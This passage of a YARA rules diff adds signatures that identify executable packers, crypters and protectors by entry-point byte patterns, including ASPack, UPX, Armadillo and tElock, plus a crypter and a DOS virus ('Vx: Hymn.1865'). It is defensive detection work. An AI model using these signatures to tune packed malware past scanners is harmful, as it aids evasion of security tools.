+		$1 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 42 00 33 F6 56 E8 58 43 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 23 40 00 00 FF 15 18 51 42 00 A3 44 FE 42 00 E8 E1 3E 00 00 A3 78 E8 42 00 E8 8A 3C 00 00 E8 CC 3B 00 00 E8 3E F5 FF FF 89 75 D0 8D 45 A4 50 FF 15 14 51 42 00 E8 5D 3B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 10 51 42 00 50 E8 0D 6E FE FF 89 45 A0 50 E8 2C F5 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 9B 39 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 1E F5 FF FF 83 3D 80 E8 42 00 01 75 05 E8 F3 43 00 00 FF 74 24 04 E8 23 44 00 00 68 FF 00 00 00 FF 15 B0 B8 42 00 59 59 C3 83 3D 80 E8 42 00 01 75 05 E8 CE 43 00 00 FF 74 24 04 E8 FE 43 00 00 59 68 FF}
+		$2 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Warning_may_be_SimbyOZ_polycryptor_by_3xpl01t_ver_2xx_25032007_2200_
+{
+	meta:
+		description = "Warning! may be SimbyOZ polycryptor by 3xpl01t ver 2.xx (25.03.2007 22:00)"
+	strings:
+		$0 = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+		$1 = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PC_PE_Encryptor_Alpha_preview_
+{
+	meta:
+		description = "PC PE Encryptor Alpha preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108x__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.x -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_093_UnHack32_12_
+{
+	meta:
+		description = "UPX 0.93 [UnHack32 1.2"
+	strings:
+		$0 = {60 BE 00 A0 43 00 8D BE 00 70 FC FF C7 87 D0 84 04 00 98 C1 DF 2D 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v40_
+{
+	meta:
+		description = "Crunch v4.0"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+		$1 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V037__Dwing_
+{
+	meta:
+		description = "Upack V0.37 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+		$1 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00}
+		$2 = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_V520__Silicon_Realms_Toolworks____20080214_
+{
+	meta:
+		description = "Armadillo V5.20 -> Silicon Realms Toolworks   * 20080214"
+	strings:
+		$0 = {E8 38 3D 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 98 1E 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 EC 1C 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 7D 1C 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? ?? 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 FE 1A 00 00 59 89 7D FC FF 75 08 E8 56 45 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 96 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 C0 FA FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 A4 19 00 00 59 C3 3B DF 75 0D 8B 45 10 3B C7 74 06 C7 00 0C 00 00 00 8B C3 E8 CC 1D 00 00 C3 55 8B EC 51 83 65 FC 00 57 8D 45 FC 50 FF 75 0C FF 75 08 E8 CA FE FF FF 8B F8 83 C4 0C 85 FF 75 19 56 8B 75 FC 85 F6 74 10 E8 C9 1B 00 00 85 C0 74 07 E8 C0 1B 00 00 89 30 5E 8B C7 5F C9 C3 6A 0C 68 ?? ?? ?? ?? E8 3B 1D 00 00 8B 75 08 85 F6 74 75 83 3D ?? ?? ?? ?? ?? 75 43 6A 04 E8 FF 19 00 00 59 83 65 FC 00 56 E8 84 3C 00 00 59 89 45 E4 85 C0 74 09 56 50 E8 A0 3C 00 00 59 59 C7 45 FC FE FF FF FF E8 0B 00 00 00 83 7D E4 00 75 37 FF 75 08 EB 0A 6A 04 E8 ED 18 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _D1S1G_v11_Beta_pp_Scrambled_EXE__D1N_
+{
+	meta:
+		description = "D1S1G v1.1 Beta ++ Scrambled EXE -> D1N"
+	strings:
+		$0 = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03}
+		$1 = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _WinRAR_32bit_SFX_Module__WinRar_
+{
+	meta:
+		description = "WinRAR 32-bit SFX Module -> WinRar"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _North_Star_PE_Shrinker_13__Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker 1.3 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v098__tE_
+{
+	meta:
+		description = "tElock v0.98 -> tE!"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP 2.x Patcher --> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+		$1 = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_100_
+{
+	meta:
+		description = "PECompact 1.00"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 00 87 DD 8B 85 49 85 40 00 01 85 B8 84 40 00 66 C7 85 B5 84 40 00 90 90 BB AB 0A 00 00 03 9D 4D 85 40 00 03 9D 49 85 40 00 53 53 53 58 2D 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_13_Split_Method__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+		$2 = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _XCompXPack_V09X__JoKo____20080218_
+{
+	meta:
+		description = "XComp/XPack V0.9X -> JoKo   * 20080218"
+	strings:
+		$0 = {AC 84 C0 74 03 AA EB F8 E8 0B 00 00 00 20 6E 6F 74 20 66 6F 75 6E 64 00 5E AC AA 84 C0 75 FA 6A 00 57 52 6A 00 E8 06 00 00 00 45 72 72 6F 72 00 5E AC AA 84 C0 75 FA E8 0B 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 FF 55 2C E8 0C 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 50 FF 55 28 FF D0 83 C4 7C 48 C3}
+	condition:
+		$0
+}
+rule _Vx_Hymn1865_
+{
+	meta:
+		description = "Vx: Hymn.1865"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+		$1 = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_1X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+		$1 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _WinUpack_v039_final__By_Dwing_c2005_h1_
+{
+	meta:
+		description = "WinUpack v0.39 final -> By Dwing (c)2005 (h1)"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 ?? 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _eXPressor_v1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+		$2 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+		$3 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_02_DxPack_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DxPack 1.0] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyings_PEArmor_075exe__Hying_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+		$2 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXE_Manager_32_
+{
+	meta:
+		description = "EXE Manager 3.2"
+	strings:
+		$0 = {B4 30 1E 06 CD 21 2E A3 08 00 BF 0A 00 B9 F6 0B 33 C0 2E 03 05 47 E2 FA 2E 3B 06 06 00 74 09 B8 07 0E CD 10 33 C0 50 CB BD 0A 00 B9 FB 05 2E 8B 1E 04 00 FA 33 C0 8E C0 26 FF 36 0C 00 26 FF 36 0E 00 26 C7 06 0C 00 70 01 26 8C 0E 0E 00 BE 47}
+	condition:
+		$0 at entrypoint
+}
+rule _WIBUKey_V410A__WIBUSYSTEMS_AG_
+{
+	meta:
+		description = "WIBU-Key V4.10A -> WIBU-SYSTEMS AG"
+	strings:
+		$0 = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v1501_Options__Protection_CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.5.0.1 (Options -> Protection) CGSoftLabs"
+	strings:
+		$0 = {5E 00 00 80 00 00 00 68 91 5D D4 27 35 C5 5A 4C A5 40 48 C4 08 4E C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Install_System_1x_
+{
+	meta:
+		description = "Nullsoft PiMP Install System 1.x"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Netopsystems_FEAD_Optimizer_3_
+{
+	meta:
+		description = "Netopsystems FEAD Optimizer 3"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB 00 00 40 00 8B ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v40_
+{
+	meta:
+		description = "Crunch/PE v4.0"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0
+}
+rule _nPack_112502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack 1.1.250.2006.Beta -> NEOx/[uinC"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Blade_Joiner_v15_
+{
+	meta:
+		description = "Blade Joiner v1.5"
+	strings:
+		$0 = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+		$1 = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKTINY_v10_with_TINYPROG_v38_
+{
+	meta:
+		description = "PKTINY v1.0 with TINYPROG v3.8"
+	strings:
+		$0 = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+	condition:
